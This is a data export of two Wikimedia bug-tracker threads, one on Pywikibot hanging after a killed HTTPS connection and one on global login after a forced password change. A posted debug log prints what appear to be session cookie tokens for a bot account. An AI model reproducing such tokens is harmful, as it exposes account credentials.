+https://sourceforge.net/p/pywikipediabot/bugs/1657",High,80.0,1380947340,1391369639.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_description,resolved,True,c3,1,True,False,True,-91,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,1
+264330,core hangs on killed http(s) connection,"Change 108325 abandoned by Xqt:
+[BUGFIX] fixing bug 55127
+
+Reason:
+https://gerrit.wikimedia.org/r/110853
+https://gerrit.wikimedia.org/r/110866 
+https://gerrit.wikimedia.org/r/110867
+
+https://gerrit.wikimedia.org/r/108325",,,1391367609,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,False,,,-74,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+264326,core hangs on killed http(s) connection,"Change 110867 merged by jenkins-bot:
+(bug 55127) Allow user to abort during http request
+
+https://gerrit.wikimedia.org/r/110867",,,1391367518,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,False,,,-74,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+264323,core hangs on killed http(s) connection,"Change 110866 merged by jenkins-bot:
+(bug 55127) Allow user to cut off pending network requests at shutdown
+
+https://gerrit.wikimedia.org/r/110866",,,1391367516,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,False,,,-74,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+264317,core hangs on killed http(s) connection,"Change 110853 merged by jenkins-bot:
+(bug 55127) Implement network timeouts
+
+https://gerrit.wikimedia.org/r/110853",,,1391367513,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,False,,,-74,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+264313,core hangs on killed http(s) connection,"And with the latest two patches, this should also be fixed.",,,1391363592,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,True,,,-74,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0
+264308,core hangs on killed http(s) connection,"Change 110867 had a related patch set uploaded by Merlijn van Deen:
+(bug 55127) Allow user to abort during http request
+
+https://gerrit.wikimedia.org/r/110867",,,1391363567,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,False,,,-74,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+264303,core hangs on killed http(s) connection,"Change 110866 had a related patch set uploaded by Merlijn van Deen:
+(bug 55127) Allow user to cut off pending network requests at shutdown
+
+https://gerrit.wikimedia.org/r/110866",,,1391363536,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,False,,,-74,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+264298,core hangs on killed http(s) connection,"This solves the basic issue, but does not fix the other two issues (the main thread will not respond to ctrl-c until the timeout is reached; also the thread will not be stopped until the timeout is raised)",,,1391349874,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,True,,,-74,True,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+264292,core hangs on killed http(s) connection,"Change 110853 had a related patch set uploaded by Merlijn van Deen:
+(bug 55127) Implement network timeouts
+
+https://gerrit.wikimedia.org/r/110853",,,1391349757,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,False,,,-74,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+264287,core hangs on killed http(s) connection,"I tried this on _windows_ but I didn't got it hanging:
+
+Traceback (most recent call last):
+  File ""<pyshell#4>"", line 1, in <module>
+    resp, content = h.request(""https://en.wikipedia.org/"", ""GET"")
+  File ""C:\Pywikipedia\ssh\pywikibot\core\externals\httplib2\python2\httplib2\__init__.py"", line 1591, in request
+    (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
+  File ""C:\Pywikipedia\ssh\pywikibot\core\externals\httplib2\python2\httplib2\__init__.py"", line 1333, in _request
+    (response, content) = self._conn_request(conn, request_uri, method, body, headers)
+  File ""C:\Pywikipedia\ssh\pywikibot\core\externals\httplib2\python2\httplib2\__init__.py"", line 1289, in _conn_request
+    response = conn.getresponse()
+  File ""C:\Python27\lib\httplib.py"", line 1030, in getresponse
+    response.begin()
+  File ""C:\Python27\lib\httplib.py"", line 407, in begin
+    version, status, reason = self._read_status()
+  File ""C:\Python27\lib\httplib.py"", line 365, in _read_status
+    line = self.fp.readline()
+  File ""C:\Python27\lib\socket.py"", line 430, in readline
+    data = recv(1)
+  File ""C:\Python27\lib\ssl.py"", line 241, in recv
+    return self.read(buflen)
+  File ""C:\Python27\lib\ssl.py"", line 160, in read
+    return self._sslobj.read(len)
+error: [Errno 10060] Ein Verbindungsversuch ist fehlgeschlagen, da die Gegenstelle nach einer bestimmten Zeitspanne nicht richtig reagiert hat, oder die hergestellte Verbindung war fehlerhaft, da der verbundene Host nicht reagiert hat",,,1391334920,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,True,,,-74,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1
+264282,core hangs on killed http(s) connection,"Minimal test case for the SSL issue:
+
+import httplib2
+
+h = httplib2.Http()
+resp, content = h.request(""https://en.wikipedia.org/"", ""GET"")
+raw_input(""kill the connection..."")
+resp, content = h.request(""https://en.wikipedia.org/"", ""GET"")
+print ""done""
+
+
+So there are three issues:
+ - A connection can hang indefinitely if the connection is killed. There should be some timeout for receiving some data here.
+ - The framework does not respond to ctrl-c when a thread doesn't return. This can be solved by changing pywikibot/comms/http.py to be non-blocking (e.g. in a loop with a 100ms time.sleep)
+ - Threads do not receive KeyboardInterrupts (which is OK!) but this means a non-returning call will hang forever (i.e. will not be killed when python exits)
+
+Amirs solution might be useful for the last issue, but I'm not 100% sure about that. I think I'd rather hook the atexit handler to kill all processing threads. Maybe we can also start threads as daemons, which should kill them automatically when the main thread exits...",,,1391290884,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,True,,,-74,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+264275,core hangs on killed http(s) connection,"Change 108325 had a related patch set uploaded by Ladsgroup:
+[BUGFIX] fixing bug 55127
+
+https://gerrit.wikimedia.org/r/108325",,,1390135742,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,False,,,-76,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+264269,core hangs on killed http(s) connection,"Here are the last log entries before the bot hanged:
+
+2013-11-20 05:50:37             api.py,  685 in           __iter__: DEBUG    PropertyGenerator received [u'7165976']; limit=-1
+2013-11-20 05:50:51 vm-auto-erl-neu.py,   79 in             output: INFO     >> 05:50:51: 
+2013-11-20 05:50:51    threadedhttp.py,   97 in     pop_connection: DEBUG    Retrieved connection from 'https:de.wikipedia.org' pool.
+2013-11-20 05:50:51    threadedhttp.py,  215 in            request: DEBUG    ('https://de.wikipedia.org/w/api.php', 'POST', 'maxlag=5000&format=json&bkprop=user%7Cby%7Ctimestamp%7Cexpiry%7Creason&list=blocks&bkusers=&meta=userinfo&action=query&bkend=20131120005959&uiprop=blockinfo%7Chasmsg', {'cookie': 'centralauth_Token=8c1df3ec61f7a92677f4c0b561c30585; centralauth_User=Xqbot; forceHTTPS=1; forceHTTPS=true; dewikiUserName=Xqbot; dewikiSession=3144518b40881659814792e3c0fc34cc; dewikiUserID=627628', 'connection': 'keep-alive', 'Content-Type': 'application/x-www-form-urlencoded', 'user-agent': 'pwb/r-1 (unknown) Pywikipediabot/2.0'}, 5, None)
+2013-11-20 05:50:51             api.py,  308 in             submit: DEBUG    API response received:
+{""query"":{""blocks"":[],""userinfo"":{""id"":627628,""name"":""Xqbot""}}}
+2013-11-20 05:50:51             api.py,  611 in       update_limit: DEBUG    PropertyGenerator: Set query_limit to 5000.
+2013-11-20 05:50:51    threadedhttp.py,   97 in     pop_connection: DEBUG    Retrieved connection from 'https:de.wikipedia.org' pool.
+2013-11-20 05:50:51    threadedhttp.py,  215 in            request: DEBUG    ('https://de.wikipedia.org/w/api.php', 'POST', 'maxlag=5000&format=json&rvprop=ids%7Cflags%7Ctimestamp%7Cuser%7Ccomment%7Ccontent&prop=info%7Crevisions&titles=Wikipedia%3AVandalismusmeldung&meta=userinfo&indexpageids=&action=query&uiprop=blockinfo%7Chasmsg', {'cookie': 'centralauth_Token=8c1df3ec61f7a92677f4c0b561c30585; centralauth_User=Xqbot; forceHTTPS=1; forceHTTPS=true; dewikiUserName=Xqbot; dewikiSession=3144518b40881659814792e3c0fc34cc; dewikiUserID=627628', 'connection': 'keep-alive', 'Content-Type': 'application/x-www-form-urlencoded', 'user-agent': 'pwb/r-1 (unknown) Pywikipediabot/2.0'}, 5, None)",,,1384929111,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,True,,,-85,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,1
+264263,core hangs on killed http(s) connection,Yes my bug depends on a killed internet connection while my router was off for 20 seconds!,,,1382718207,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,True,,,-88,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+264256,core hangs on killed http(s) connection,"Additional comment:
+pwb.py version
+
+Pywikibot: pywikibot/__init__.py (r-1 (unknown), ???????, 2013/09/21, 15:53:03,
+OUTDATED)
+Release version: 2.0b1
+Python: 2.7.3 (default, Apr 10 2012, 23:24:47) [MSC v.1500 64 bit (AMD64)]
+unicode test: ok",,,1382365689,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,True,,,-89,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1
+264247,core hangs on killed http(s) connection,"I do not know whether this is similar this bug reported above and am unable to investigate the reason of that bug. I only found the last output where the bot checks a wiki page every 15 seconds:
+
+
+defendant: Textkontrolle accuser: Neozoon time: 2013 Okt 20 21:26
+>> 05:20:37:
+
+defendant: Textkontrolle accuser: Neozoon time: 2013 Okt 20 21:26
+>> 05:20:54:
+
+...
+a lot of lines deleted
+...
+>> 05:42:19:
+>> 05:42:33:
+...
+>> 05:53:41:
+>> 05:53:55:
+>> 05:54:10:
+>> 05:54:24:
+>> 05:54:38:
+>> 05:54:53:
+>> 05:55:07:
+>> 05:55:21:
+
+now it stops, CTL-C does not work, I have to kill the process via task manager.
+I checked my router and found it had an autoreset of the internet connection 5 minutes before 6 a.m. this morning and I guess this was also yesterday. On the other hand the same bot worked well the three days before.",,,1382365503,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,True,,,-89,True,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+264238,core hangs on killed http(s) connection,- **Group**: confirmed --> rewrite,,,1380947353,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1
+264231,core hangs on killed http(s) connection,Works without any issues in windows - could be either related to linux (v. windows) or killing the connection locally or upstream (the original was run from a VM). Reducing priority.,,,1380947351,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,True,,,-91,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+264227,core hangs on killed http(s) connection,- **Priority**: 5 --> 2,,,1380947350,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+264221,core hangs on killed http(s) connection,"Stack trace during hang:
+
+*** STACKTRACE - START ***
+
+
+# ThreadID: 140208457426688
+File: ""/usr/lib/python2.7/threading.py"", line 524, in __bootstrap
+  self.__bootstrap_inner()
+File: ""/usr/lib/python2.7/threading.py"", line 551, in __bootstrap_inner
+  self.run()
+File: ""connectionkilltest.py"", line 16, in run
+  for filename, lineno, name, line in traceback.extract_stack(stack):
+
+# ThreadID: 140208472311552
+File: ""/usr/lib/python2.7/threading.py"", line 524, in __bootstrap
+  self.__bootstrap_inner()
+File: ""/usr/lib/python2.7/threading.py"", line 551, in __bootstrap_inner
+  self.run()
+File: ""pywikibot/comms/threadedhttp.py"", line 343, in run
+  item.data = self.http.request(*item.args, **item.kwargs)
+File: ""pywikibot/comms/threadedhttp.py"", line 219, in request
+  max_redirects, connection_type
+File: ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1444, in request
+  (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
+File: ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1196, in _request
+  (response, content) = self._conn_request(conn, request_uri, method, body, headers)
+File: ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1166, in _conn_request
+  response = conn.getresponse()
+File: ""/usr/lib/python2.7/httplib.py"", line 1030, in getresponse
+  response.begin()
+File: ""/usr/lib/python2.7/httplib.py"", line 407, in begin
+  version, status, reason = self._read_status()
+File: ""/usr/lib/python2.7/httplib.py"", line 365, in _read_status
+  line = self.fp.readline()
+File: ""/usr/lib/python2.7/socket.py"", line 430, in readline
+  data = recv(1)
+File: ""/usr/lib/python2.7/ssl.py"", line 241, in recv
+  return self.read(buflen)
+File: ""/usr/lib/python2.7/ssl.py"", line 160, in read
+  return self._sslobj.read(len)
+
+# ThreadID: 140208510514944
+File: ""pwb.py"", line 103, in <module>
+  run_python_file(fn, args)
+File: ""pwb.py"", line 49, in run_python_file
+  exec compile(source, filename, ""exec"") in main_mod.__dict__
+File: ""connectionkilltest.py"", line 36, in <module>
+  p.put_async('test edit')
+File: ""pywikibot/page.py"", line 887, in put_async
+  async=True, callback=callback, **kwargs)
+File: ""pywikibot/page.py"", line 872, in put
+  async=async, callback=callback, **kwargs)
+File: ""pywikibot/page.py"", line 782, in save
+  if not force and not self.botMayEdit():
+File: ""pywikibot/page.py"", line 710, in botMayEdit
+  username = self.site.user()
+File: ""pywikibot/site.py"", line 206, in user
+  if self.logged_in(True):
+File: ""pywikibot/site.py"", line 842, in logged_in
+  if sysop and 'sysop' not in self.userinfo['groups']:
+File: ""pywikibot/site.py"", line 910, in getuserinfo
+  uidata = uirequest.submit()
+File: ""pywikibot/data/api.py"", line 284, in submit
+  body=paramstring)
+File: ""pywikibot/comms/http.py"", line 118, in request
+  request.lock.acquire()
+File: ""/usr/lib/python2.7/threading.py"", line 323, in acquire
+  self.__cond.wait()
+File: ""/usr/lib/python2.7/threading.py"", line 243, in wait
+  waiter.acquire()
+
+*** STACKTRACE - END ***
+
+
+So: probably not a deadlock, just the ssl library hanging.",,,1380947348,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1
+56914,Login with the required password change doesn't log me in globally,"In the recent user data leaking issue, we forced users to change password on login. After password is changed, the user is logged locally (and also project-wise, eg, for other wikipedia sites) automatically, but not logged in on another project.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1380793140,1696629317.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-4yoprjxsxryoacxktvyk,task_description,resolved,True,c3,1,False,False,False,-91,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+2207569,Login with the required password change doesn't log me in globally,"Please reopen if this is still an issue, but I'm pretty sure it was fixed by AuthManager - other parts of the login stack, such as CentralAuth, now don't know whether there was a password change step.",,,1696629317,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c3,3,True,,,431,True,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+1196768,Login with the required password change doesn't log me in globally,@Piramidion: Please see and follow https://www.mediawiki.org/wiki/Manual:How_to_debug/Login_problems and report back here. Thanks!,,,1544893724,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c3,3,True,,,180,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1
+1196751,Login with the required password change doesn't log me in globally,"A user reported this recently. Apparently he's using a temporary password, as he doesn't know neither his current, nor his old passwords. It stays saved in his browser, so he's able to log into Wikipedia, but the problem is he cannot log into any other project, like Wikidata or Commons. He also says that the system randomly logs him out on Wikipedia too. Is there a way to fix this issue as per user, so that he can keep working like usual, until this entire problem is resolved?",,,1544890597,,PHID-USER-236lfjw5qszgahq5srnq,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c3,3,False,,,180,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,1,1,0,0,0
+276864,Login with the required password change doesn't log me in globally,I haven't been able to get to it yet,,,1400026541,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c3,1,True,,,-60,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+276857,Login with the required password change doesn't log me in globally,"(In reply to Chris Steipp from comment #4)
+> Platform has let me schedule some password work this quarter, which this
+> falls under. So March-ish is a good target.
+
+Chris: How did reality bite, and any new approx. timeframe? :)",,,1399878048,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c3,1,True,,,-60,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,0,0,0,1
+276849,Login with the required password change doesn't log me in globally,"Platform has let me schedule some password work this quarter, which this falls under. So March-ish is a good target.",,,1389291226,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c3,1,True,,,-77,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0
+276844,Login with the required password change doesn't log me in globally,"(In reply to comment #2 by csteipp)
+> I'm planning to rework the patches we put in for this particular incident,
+> which will do the full SUL2 handshake after the login finishes.
+
+csteipp: Any vague timeframe (if this is still the plan)?",,,1389267605,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c3,1,True,,,-77,True,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1
+276840,Login with the required password change doesn't log me in globally,"I saw this last night. You're actually logged in as your SUL user (as you noted, but being logged into other wikipedia.org subdomains), but we don't do the redirect through loginwiki since the normal login hooks aren't called, so you won't be logged into the other projects.
+
+I'm planning to rework the patches we put in for this particular incident, which will do the full SUL2 handshake after the login finishes.",,,1380820150,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
